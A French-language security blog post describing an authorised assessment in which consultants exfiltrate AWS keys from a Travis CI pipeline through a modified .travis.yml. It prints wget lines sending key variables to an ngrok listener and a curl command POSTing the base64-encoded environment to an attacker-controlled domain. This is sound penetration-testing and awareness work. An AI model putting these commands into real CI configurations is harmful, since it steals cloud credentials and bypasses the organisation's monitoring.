Piratage de Jenkins pour éviter une violation de données dans le nuage
Article de blog 3 février 2021 par Ricardo Sanchez, spécialiste senior de la sécurité chez Bureau Veritas Cybersecurity.
En tant qu'experts en sécurité, nous avons réalisé beaucoup d'assessments sur le cloud ces dernières années, alors que l'ensemble du secteur est en pleine croissance.
Parfois, nos clients nous posent des questions intéressantes qu'il serait intéressant de partager. Une évaluation de sécurité très intéressante est née d'une simple question : "Quelle est la pire chose qui puisse arriver si l'ordinateur portable d'un développeur en nuage est compromis ?"
Il s'agit d'une préoccupation compréhensible, car des violations massives de données dans le nuage se sont produites récemment. Pour n'en citer que quelques-unes à titre d'exemple : Capitol One a perdu plus de 100 millions d'enregistrements aux États-Unis et plus de 6 millions au Canada en raison d'une vulnérabilité de falsification de demande côté serveur [1], Marriot/Starwood plus de 500 millions d'enregistrements de clients sur une violation de 4 ans [2], Facebook/Cultura Colectiva 540 millions d'enregistrements en raison d'une mauvaise configuration du nuage AWS [3] et River City media 1,34 milliard d'enregistrements dans une fuite de données accidentelle [4]. C'est le pire des cauchemars pour un développeur de services en nuage, et ce n'est peut-être pas si exagéré que cela.
Le scénario anonymisé que nous avons évalué, comportait les hypothèses suivantes :
- Le développeur n'avait pas accès aux clés AWS (et n'était pas censé le faire).
- Le CICD a été utilisé pour déployer l'infrastructure en nuage.
- Les clés étaient sauvegardées dans le CICD, où le développeur n'avait pas accès à l'environnement.
- Le processus CICD a été surveillé afin d'éviter les déploiements malveillants dans le nuage.
Après une sessionconjointe de modélisation des menaces, nous avons découvert des chemins d'attaque intéressants et nous avons décidé d'extraire les clés AWS de la plateforme CICD et de contourner toute la surveillance de la sécurité. Et nous y sommes parvenus, avec succès.
En général, le processus de déploiement de l'infrastructure est le suivant :
- Le code est écrit
- Le code est poussé vers le dépôt github.
- Une fois poussé sur github, travis le traitera automatiquement
- Travis exécute un test sur le CI
- L'infrastructure est déployée dans le nuage
Figure 1 : Processus standard du CICD
Il existe aujourd'hui plusieurs "systèmes de construction" qui présentent tous des options de configuration similaires :
- Jenkins
- Travis CI
- Azure Pipelines
- AWS CodeBuild
Dans cet exemple particulier, Travis sera utilisé car Travis CI est largement utilisé et gratuit.
Travis CI utilise des fichiers yaml pour le déploiement. Il utilise notamment le fichier .travis.yml. Comme ce fichier particulier était sous notre contrôle en tant que "développeurs malhonnêtes" (le scénario défini par notre client), nous avons pu le modifier et le pousser vers github. Une fois poussé sur github, travis le traitera automatiquement.
Notre première idée était d'imprimer les variables clés et de les voir dans la console. Malheureusement, la console de travis n'était pas accessible pour nous.
Par conséquent, nous n'avons pas pu voir la sortie des instructions d'impression.
Pour extraire les variables clés intéressantes telles que $AWS_ACCESS_KEY_ID, $aws_secret_key et $aws_key, nous avons procédé comme suit :
- Démarrer un listener (comme ngrok)
- Livrez un fichier `.travis.yml` modifié au dépôt avec le code suivant :
after_success :
- echo $AWS_ACCESS_KEY_ID
- wget http://<NGROK URL /$(echo $AWS_ACCESS_KEY_ID)
- wget http://<NGROK URL /$(echo $aws_secret_key)
- wget http://<NGROK URL /$(echo $aws_key)
Alternativement, il était possible de récupérer l'environnement complet avec :
- ENV_SEND=`env | base64`
- curl -X POST -k https:// domain-in-control-of-an-attacker.com/ --data "$ENV_SEND"
Dans la vidéo ci-dessous, vous pouvez observer le processus complet :
À propos de l'équipe
Le pire scénario de compromission de l'ordinateur portable d'un développeur de services en nuage a trouvé une réponse, avec l'impact potentiel de figurer dans le "Hall of Fame" des violations de données en nuage. Avec ce client, nous nous sommes également alignés pour mettre en œuvre des mesures visant à empêcher que cela ne se produise, ce qui inclut les services en nuage comme indiqué ci-dessous : 1, 2 et 3.
Cette enquête a été réalisée par nos experts Secura Cloud : Roy Stultiens etRicardo Sanchez. Nous serions ravis de vous aider à mieux comprendre la sécurité de votre cloud.
Nous pouvons vous aider et offrons plusieurs services cloud tels que :
- Modélisation des menaces
- Cloud Security Training
- Cloud crystal box assessment
- Formations sur le piratage informatique dans le nuage
- Tests d'intrusion et d'attaque
- Gestion des vulnérabilités.
Ricardoest l'un des experts cloud de Bureau Veritas Cybersécurité avec une forte volonté de toujours s'améliorer. Il est titulaire d'un MsC en cyber sécurité et aime compléter plusieurs certifications par an, ce qui conduit à la liste impressionnante suivante : OSCP, CISSP, SANS 588 (Cloud Penetration testing), SANS Manager 516 (Managing Security Vulnerabilities : Enterprise and Cloud), CCSK, AWS Certified Solutions Architect and Security Specialty, Azure Certified Security Engineer, Metasploit Pro Certified Specialist, Nexpose Advanced Administrator (NACA), Certified Ethical Hacker (CEH), eCCPT, eWPT, InsightIDR Certified Specialist, Network Assault, CompTIA Network and Security + Certifications. Il a également obtenu un badge de pirate informatique dans le cadre du programme "hack the box".
Son chien Taco est souvent à ses côtés et est un membre précieux de l'équipe ! Êtes-vous intéressé à stimuler votre parcours d'apprentissage et à devenir l'un de nos hackers éthiques ? Rejoignez Secura!